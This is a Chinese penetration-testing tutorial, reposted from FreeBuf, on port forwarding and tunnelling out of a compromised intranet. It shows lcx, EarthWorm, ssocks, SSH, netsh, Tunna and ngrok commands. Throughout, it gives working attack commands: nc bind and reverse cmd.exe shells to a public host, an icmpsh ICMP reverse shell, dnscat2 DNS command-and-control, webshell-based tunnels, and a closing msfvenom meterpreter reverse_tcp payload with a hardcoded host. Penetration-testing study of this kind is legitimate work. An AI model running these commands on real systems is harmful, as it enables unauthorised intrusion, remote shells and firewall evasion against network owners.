2.内网渗透之端口转发
转载自freebuf:https://www.freebuf.com/articles/web/170970.html
本文主要介绍一下端口转发工具。文中工具下载地址:https://github.com/Brucetg/Pentest-tools
这里博主在本地搭建虚拟机环境来进行学习:
win2003(开启防火墙)作为内网环境:192.168.0.107
win10作为外网环境:192.168.0.140
kali作为外网环境:192.168.0.133
正常的话,内网可以访问通外网服务器,而外网服务器无法访问内网服务器:
内网107机器可以ping通外网服务器
外网133机器无法访问内网机器
适用网络环境有以下几种:
- 服务器处于内网,可以访问外部网络
- 服务器处于外网,可以访问外部网络,但是服务器安装了防火墙来拒绝敏感端口的连接
- 服务器处于内网,对外只开放了80端口,并且服务器不能访问外网网络
对于以上三种情况,传统的方法可以突破1和2两种(全都可以理解为lcx),第三者可以使用SOCKS5代理
0x01 lcx.exe
lcx.exe应该是听的比较多的,常用于端口转发,有Windows版和Linux版,Windows版是lcx.exe,Linux版是portmap
在windows上使用:
lcx有两大功能:
(1) 端口转发(listen和slave成对使用)
(2) 端口映射(tran)
1.lcx内网端口转发
(1) 在内网主机上执行:
lcx.exe -slave 公网主机ip 4444 127.0.0.1 3389
即把内网主机的3389端口流量转发到具有公网ip主机的4444端口。
(2) 在公网主机上执行:
lcx.exe -listen 4444 5555
即监听公网主机4444端口请求,将4444端口的流量转发到5555端口上。
(3)应用场景:假设拿下一台内网主机的权限,想要远程连接,这时候就需要lcx.exe将内网的3389的端口流量转发到具有公网ip的主机上的4444端口,公网主机把4444端口的流量转发到5555端口上。如果此时是在公网主机上,使用cmd的mstsc远程连接时,主要连接 127.0.0.1:5555 端口即可。如果在外网,需要连接 公网主机ip:5555 端口。输入用户名,密码即可连接到内网主机。
2.lcx本地端口转发:
由于防火墙的限制,部分端口,例如3389等无法通过防火墙,此时可以将目标主机的3389端口的流量转发到防火墙允许通过的其他端口,例如53.
在目标机器上运行:
lcx.exe -tran 53 目标主机ip 3389
即可远程桌面连接到 目标主机ip:53 输入用户名密码即可连接到内网主机
注:lcx.exe可能会被查杀,请自行寻找免杀版。
在linux上:
(1) 在具有公网ip的主机上执行:
./portmap -m 2 -p1 6666 -h2 公网主机ip -p2 7777
即可监听来自6666端口的请求,并将其转发到7777端口。
(2)在内网主机上执行:
./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 公网主机ip -p2 6666
即可将内网主机22端口的流量转发到公网主机的6666端口
然后在linux系统命令下执行:
ssh 公网主机ip 7777
即可连接内网主机。
0x02 nc反弹
nc在windows/linux上使用方法差不多:
正向连接:
(1) 在远程内网主机上执行:
nc -l -p 4444 -t -e cmd.exe
-t 是通过telnet模式执行cmd.exe程序。
(2) 在公网主机上执行:
nc -vv 远程主机ip 4444
成功后,本地主机就获得了远程主机的一个cmd shell。
反向连接:
(1) 在公网主机上进行监听:
nc -lvnp 4444
(2)在内网主机上执行:
nc -t -e cmd.exe 公网主机ip 4444
成功后即可获得一个内网主机的cmd shell。
0x03 socks代理工具
常见的 socks 代理工具介绍如下
1.Earthworm 工具网址:http://rootkiter.com/EarthWorm
EW 是一套便携式的网络穿透工具,具有 SOCKS v5 服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。该工具能够以 “正向”、“反向”、“多级级联” 等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。工具包中提供了多种可执行文件,以适用不同的操作系统,Linux、Windows、MacOS、Arm-Linux 均被包括其内, 强烈推荐使用。
目前已经有了最新版 Termite,工具网址:http://rootkiter.com/Termite/ (需要梯子)
2.reGeorg 工具网址:https://github.com/NoneNotNull/reGeorg
reGeorg 是 reDuh 的升级版,主要是把内网服务器的端口通过 http/https 隧道转发到本机,形成一个回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。它利用 webshell 建立一个 socks 代理进行内网穿透,服务器必须支持 aspx、php 或 jsp 这些 web 程序中的一种。
3.sSocks 工具网址:http://sourceforge.net/projects/ssocks/
sSocks 是一个 socks 代理工具套装,可用来开启 socks 代理服务,支持 socks5 验证,支持 IPV6 和 UDP,并提供反向 socks 代理服务,即将远程计算机作为 socks 代理服务端,反弹回本地,极大方便内网的渗透测试,其最新版为 0.0.14。
4.SocksCap64 工具网址:http://www.sockscap64.com (需要梯子)
SocksCap64 是一款在 windows 下相当好使的全局代理软件。SocksCap64 可以使 Windows 应用程序通过 SOCKS 代理服务器来访问网络而不需要对这些应用程序做任何修改, 即使某些本身不支持 SOCKS 代理的应用程序通过 SocksCap64 之后都可以完美的实现代理访问。
5.proxychains 工具网址:http://proxychains.sourceforge.net/
Proxychains 是一款在 LINUX 下可以实现全局代理的软件,性能相当稳定可靠。在使任何程序通過代理上网,允許 TCP 和 DNS 通過代理隧道,支持 HTTP、SOCKS4、SOCKS5 类型的代理服务器,支持 proxy chain,即可配置多个代理,同一个 proxy chain 可使用不同类型的代理服务器
ssocks
linux版:
(1) 安装:
wget https://phoenixnap.dl.sourceforge.net/project/ssocks/ssocks-0.0.14.tar.gz
tar -zxf ssocks-0.0.14.tar.gz
cd ssocks-0.0.14
./configure && make
cd src
(2) 在本地具有公网ip的主机上执行:
./rcsocks -l 1080 -p 1234 -v
(3) 在目标机器上执行:(实际渗透情况中加上 -b 后台运行)
./rssocks -s 192.168.1.100(公网ip):1234 -v
通过本地各种代理工具配置代理即可,socks5 192.168.1.100 1080
socks windows版为 reGeorg + Proxychains 代理,具体文章请看我上一篇文章:
https://www.cnblogs.com/bmjoker/p/10205407.html
Ew穿透
该工具借用了ssocks 和 lcx.exe 的操作逻辑,并进行更多的功能强化:
目前工具提供六种链路状态,可通过 -s 参数进行选定,分别为: ssocksd 正向代理 rcsocks 反向代理1,流量转发 rssocks 反向代理2,反弹socks5 lcx_slave 端口绑定 lcx_tran 端口转发 lcx_listen 反向代理1,流量转发 其中 SOCKS5 服务的核心逻辑支持由 ssocksd 和 rssocks 提供,分别对应正向与反向socks代理。
ssocksd 用来开启Socks5代理服务
rssocks 本地启用Socks5服务,并反弹到另一IP地址
rcsocks 接收反弹过来的Socks5服务,并转向另一端口
其余的 lcx 链路状态用于打通测试主机同 socks 服务器之间的通路。 lcx 类别管道: lcx_slave,lcx_listen:端口转发 lcx_tran:端口映射 lcx_slave 该管道一侧通过反弹方式连接代理请求方,另一侧连接代理提供主机。 lcx_tran 该管道,通过监听本地端口接收代理请求,并转交给代理提供主机。 lcx_listen 该管道,通过监听本地端口接收数据,并将其转交给目标网络回连的代理提供主机。 通过组合lcx类别管道的特性,可以实现多层内网环境下的渗透测试。 工具参数说明: -l 开放指定端口监听 -d 指定转发或反弹的主机地址 -e 指定转发或反弹的主机端口 -f 指定连接或映射的主机地址 -g 指定连接或映射的主机端口 -t 设置超时时间 下面是一个三级跳的本地测试例子。。。 ./ew -s rcsocks -l 1080 -e 8888 ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999 ./ew -s lcx_listen -l 9999 -e 7777 ./ew -s rssocks -d 127.0.0.1 -e 7777 数据流向为 IE -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks
1.正向 SOCKS5 服务器:
当目标网络边界存在公网ip,且可任意开启监听端口,执行命令:
ew_for_Win.exe -s ssocksd -l 8888
即可在该目标机器上上开启一个8888的正向连接。然后其他主机可通过设置代理为 目标主机ip:8888 ,添加这个代理。这里使用proxychains:
2.反弹SOCKS5服务器
当目标网络边界不存在公网ip,通过反弹方式创建socks代理。
先在一台具有公网ip的主机A上运行以下命令:
./ew_for_linux64 -s rcsocks -l 1080 -e 8888
即在公网主机上添加一个转接隧道,把1080端口收到的代理请求转发给8888端口。
在目标主机B上启动SOCKS5服务,并反弹到公网主机的8888端口:
ew_for_Win.exe -s rssocks -d 公网主机ip -e 8888
本地主机可通过添加 公网ip:1080 这个代理,来访问内网机器。
如果本地主机具有公网ip,就可以把在公网执行的步骤放在本地执行:
3.二级网络环境(一)
假设我们获得了右侧A主机和B主机的控制权限,A主机配有2块网卡,一块10.129.72.168 连通外网,一块10.168.153.140只能连接B主机,无法访问内网其他资源。B主机可以访问内网资源,但无法访问外网。
先上传ew到B主机,利用ssocksd方式启动8888端口的SOCKS代理,命令如下:
./ew_for_Win.exe -s ssocksd -l 8888
然后在A主机执行:
ew_for_Win.exe -s lcx_tran -l 1080 -f 192.168.153.138 -g 8888
即可把1080端口收到的代理请求转发给B主机(192.168.153.138)的8888端口上。
然后My pc 就可以通过A的外网代理10.129.72.168:1080访问B。
4.二级网络环境(二)
假设我们获得了右侧A主机和B主机的控制权限,A主机没有公网ip,也无法访问内外资源。B主机可以访问内网资源,但无法访问外网。
这次操作有四步:
1. 在公网vps(45.xxx.xxx.72)添加转接隧道,将10800端口收到的代理请求转交给8888端口。
./ew_for_linux64 -s lcx_listen -l 10800 -e 8888
2. B(192.168.153.138)主机正向开启9999端口。
ew_for_Win.exe -s ssocksd -l 9999
3. A主机利用lcx_slave方式,将公网vps的8888端口和B主机的9999端口连接起来。
ew_for_Win.exe -s lcx_slave -d 45.xxx.xxx.72 -e 8888 -f 192.168.153.138 -g 9999
4. 现在My pc可通过访问45.xxx.xxx.72:10800来使用192.168.153.138主机提供的socks5代理,代理成功,vps会有rssocks cmd_socket OK! 提示:
使用proxychains来配合工具渗透:
5.二级网络环境(三)
环境说明(一):V1主机配有2块网卡,一块连通外网,一块10.255.11.8只能连接内网V2主机,无法访问内网其它资源。V2主机可以访问内网资源,但无法访问外网。
# V2执行,利用ssocksd方式启动8888端口的socks代理
./ew -s ssocksd -l 8888
# V1执行,将来自外部的1080端口的代理请求转发到V2的8888端口上
./ew -s lcx_tran -l 1080 -f 10.255.11.3 -g 8888
# Attack执行,使用Proxifier等建立正常的socks代理访问1080端口
环境说明(二):V1主机没有公网IP,也无法访问内网资源。V2主机可以访问内网资源,但无法访问外网。
# VPS执行,把来自外部的1080端口的流量转到本地的8888端口上
./ew –s lcx_listen –l 1080 –e 8888
# V2执行,在本地启动socks5代理并监听9999端口
./ew -s ssocksd -l 9999
# V1执行,把vps的8888端口和V2的9999进行绑定,即建立socks5通道
./ew -s lcx_slave -d 123.123.1.1 -e 8888 -f 10.255.11.3 -g 9999
# Attack执行,使用Proxifier等建立正常的socks代理访问1080端口
6.三级网络环境
再提供一个“三级级联”的本地SOCKS测试用例以供参考
环境示意图:
环境说明:Web server没有公网IP但可以访问外网,V2主机不能访问外网但可以被Web server主机访问,V3主机可被V2主机访问且能访问核心区域
# vps上执行,把来自外部的1080端口流量转到本地的8888端口上
./ew -s rcsocks -l 1080 -e 8888
# Web server执行,把vps的8888端口和内网V2的9999端口绑定
./ew -s lcx_slave -d 123.123.1.1 -e 8888 -f 10.255.12.2 -g 9999
# V2执行,将来自外部的7777端口和本地的9999端口进行绑定
./ew -s lcx_listen -l 9999 -e 7777
# V3执行,将本地的socks连接反弹到V2的7777端口上
./ew -s rssocks -d 10.255.12.2 -e 7777
# Attack执行,使用Proxifier等建立正常的socks代理访问1080端口
数据流向: Attack(SOCKS v5) ---> 1080 ---> 8888 ---> 9999 --->7777 ---> rssocks
0x04 ssh隧道代理转发
ssh有三个强大的端口转发命令,分别是本地转发,远程转发,动态转发。
本地访问127.0.0.1:port1就是host:port2(用的更多)
ssh -CfNg -L port2:127.0.0.1:port1 user@host #本地转发
访问host:port2就是访问127.0.0.1:port1
ssh -CfNg -R port2:127.0.0.1:port1 user@host #远程转发
可以将dmz_host的hostport端口通过remote_ip转发到本地的port端口
ssh -qTfnN -L port:dmz_host:hostport -l user remote_ip #正向隧道,监听本地port
可以将dmz_host的hostport端口转发到remote_ip的port端口
ssh -qTfnN -R port:dmz_host:hostport -l user remote_ip #反向隧道,用于内网穿透防火墙限制之类
socket代理:
ssh -qTfnN -D port remotehost
参数详解:
-C Enable compression 压缩数据传输
-q Quiet mode. 安静模式
-T Disable pseudo-tty allocation. 不占用 shell 了
-f Requests ssh to go to background just before command execution. 后台运行,并推荐加上 -n 参数
-N Do not execute a remote command. 不执行远程命令,端口转发就用它了
-L port:host:hostport 将本地机(客户机)的某个端口转发到远端指定机器的指定端口. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 同时远程主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有 root 才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport
-R port:host:hostport 将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口. 工作原理是这样的, 远程主机上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转向出去, 同时本地主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有用 root 登录远程主机才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport
-D port 指定一个本地机器 “动态的’’ 应用程序端口转发. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 根据应用程序的协议可以判断出远程主机将和哪里连接. 目前支持 SOCKS协议, 将充当SOCKS服务器. 只有 root 才能转发特权端口. 可以在配置文件中指定动态端口的转发.
-g port 允许远程主机连接到建立的转发的端口,如果不加这个参数,只允许本地主机建立连接
1.ssh本地转发
远程管理服务器上的mysql,mysql不能直接root远程登陆。这时候就可以通过本地转发,通过ssh将服务器的3306端口转发到1234端口。
ssh -CfNg -L 1234 127.0.0.1:3306 root@45.32.31.121
2.ssh远程转发
内网的服务器,外网不能直接访问,使用远程转发,将内外的服务器端口转发到外网端口。这时候访问外网的端口,就访问到了内网的端口。
ssh -CfNg -R 81:127.0.0.1:80 root@192.168.153.142
现在在192.168.153.142访问127.0.0.1:81就是访问内网的端口。
3. ssh动态转发socks代理
把远程主机设置成代理,来代理访问不能访问的资源。在本地机器上分配了一个监听端口,一旦这个端口上有了连接,该连接就经过ssh隧道转发出去,根据应用程序的协议可以判断出远程主机将和哪里连接。
ssh -qTfnN -D 1080 root@45.32.31.121
0x05 ICMP隧道代理转发
ICMP隧道是通过将任意数据注入发送到远程计算机的回送数据包来工作的,要判断是否使用ICMP隧道,我们只需要关注一件事:可以ping通一个外部服务器。如果能到达外部网络,那么很有可能可以建立一个icmp隧道,缺点是需要root/administrator权限
icmpsh
具有公网ip的vps上:
git clone https://github.com/inquisb/icmpsh.git
apt-get install python-impacket
sysctl -w net.ipv4.icmp_echo_ignore_all=1
python icmpsh_m.py 公网ip地址 内网目标机器ip
目标机器:
icmpsh.exe -t 公网ip地址 -d 500 -b 30 -s 128
就会在具有公网ip的主机上收到一个cmd shell
0x06 HTTP代理
adptts
github项目地址:https://github.com/nccgroup/ABPTTS
首先安装好工具所需的各种py依赖库:
pip install pycrypto 加密库,整个数据加密都要靠这个
pip install httplib2
生成好服务端(webshell),-o用来指定要生成到的目录,然后把生成好的对应类型的代理脚本扔到目标网站目录中,并尝试访问该脚本,如果返回了一段类似hash的数据,说明代理端执行正常,继续进行后面的步骤即可,如下:
python abpttsfactory.py -o webshell
前面确认没有问题后,现在开始绑定端口,建立隧道,下面的意思就是把远端[目标机器]的3389端口和本地的1234端口进行绑定,-c用来指定webshell的配置文件[这里直接用默认的],-u指定webshell的url,关于更多选项用法,看下工具帮助就明白了,都非常简单的:
python abpttsclient.py -c webshell\config.txt -u "http://www.joker.com/abptts.aspx" -f 127.0.0.1:1234/127.0.0.1:3389
隧道建立成功后,用相应的socks代理客户端工具[proxychains,sockscap……]连接到前面已经绑定好的本地端口[1234端口],即可访问目标内网中的资源:
mstsc 127.0.0.1:1234
putty ssh root@127.0.0.1 -p 1234 -i ~/.ssh/xxx/id_rsa 如果对方的ssh只允许证书登录,加载上自己的证书即可
0x07 DNS隧道
不论对出站流量采取多么严格的访问控制,你可能都要允许至少对一个服务器的 DNS 请求。对手就可以利用这个防火墙上的“大洞”来偷运数据,并且建立一个非常难以限制的隐蔽命令控制信道。
Dnscat2
github项目地址:https://github.com/iagox86/dnscat2
Dnscat2通过建立C&C通道递归DNS查询。此工具不需要root/administrator权限(在Windows和Linux上都可以使用)。他还支持端口转发
Server端:
ruby ./dnscat2.rb tunneldomain.com
Client端:
./dnscat2 tunneldomain.com
收到Server端的连接后,可以使用windows命令查看活动会话:
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53 domains = tunneldomain.com [*]
1 :: command session (debian)
2 :: sh (debian) [*]
要启动端口转发,请选择一个命令会话session -i:
dnscat2> session -i 1
New window created: 1
New window created: 1
history_size (session) => 1000
This is a command session!
That means you can enter a dnscat2 command such as
'ping'! For a full list of clients, try 'help'.
command session (debian) 1>
使用 listen [lhost:]lport rhost:rport 命令转发端口:
command session (debian) 1> listen 127.0.0.1:8080 10.0.0.20:80
这将绑定靶机上的8080端口,并将所有链接转发到10.0.0.1:80上。
0x08 netsh端口转发
Netsh是一种命令行实用程序,可用来显示与修改当前正在运行的计算机的网络配置,用于端口转发功能代码(可以创建任意数量的Windows端口转发规则。所有netsh interface portproxy规则都是持久性的,并会在Windows系统重启后被保存):
netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport
参数说明:
listenaddress – 等待连接的本地IP地址。
listenport – 本地侦听TCP端口。
connectaddress – 将传入连接重定向到本地或远程IP地址(或DNS名称)
connectport – 一个TCP端口,来自listenport的连接会被转发到该端口 显示系统中的转发规则列表
显示系统中的转发规则列表
netsh interface portproxy show all
清除所有当前的端口转发规则
netsh interface portproxy reset
删除指定的端口转发规则
netsh interface portproxy delete v4tov4 listenport=3340 listenaddress=10.1.1.110
eg:
以管理员的身份启动命令提示符并执行以下命令:
netsh interface portproxy add v4tov4 listenport=3340 listenaddress=10.1.1.110 connectport=3389 connectaddress=10.1.1.110
参考链接:https://www.freebuf.com/articles/system/176889.html
0x09 tunna内网转发
github项目地址:https://github.com/SECFORCE/Tunna
Tunna可以通过HTTP封装隧道通信任何TCP,以及用于绕过防火墙环境中的网络限制
Tunna和reGeorg原理一样,需要先上传源码包中webshell下的脚本至网站目录
然后本地进行连接上传的webshell即可
python proxy.py -u http://172.0.0.1/conn.php -l 1234 -r 3389 -v
这样就转发了webshell所在主机的3389到你本地的1234上,本地直接远程127.0.0.1:1234即可
python proxy.py -u http://172.0.0.1/conn.php -l 1234 -a 172.0.0.2 -r 3389
转发内网其他主机的端口,同上
python proxy.py -u http://172.0.0.1/conn.php -l 1234 -r 22 -v -s
转发SSH服务需要加上-s参数避免中断
另外,Tunna也支持msf,可直接返回meterpreter给msf
0x10 内网穿透平台ngrok
例如 https://www.ngrok.cc,https://natapp.cn等
以ngrok为例,注册并开通隧道
下载对应的客户端,下载地址为:https://www.ngrok.cc/#down-client
运行
生成backdoor。监听的ip为server.ngrok.cc的ip,端口为开通隧道时填写的远程端口:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=47.90.92.56 LPORT=52524 -f exe > shell.exe
kali上执行:
参考链接:
http://www.zerokeeper.com/experience/network-port-forwarding-and-penetration.html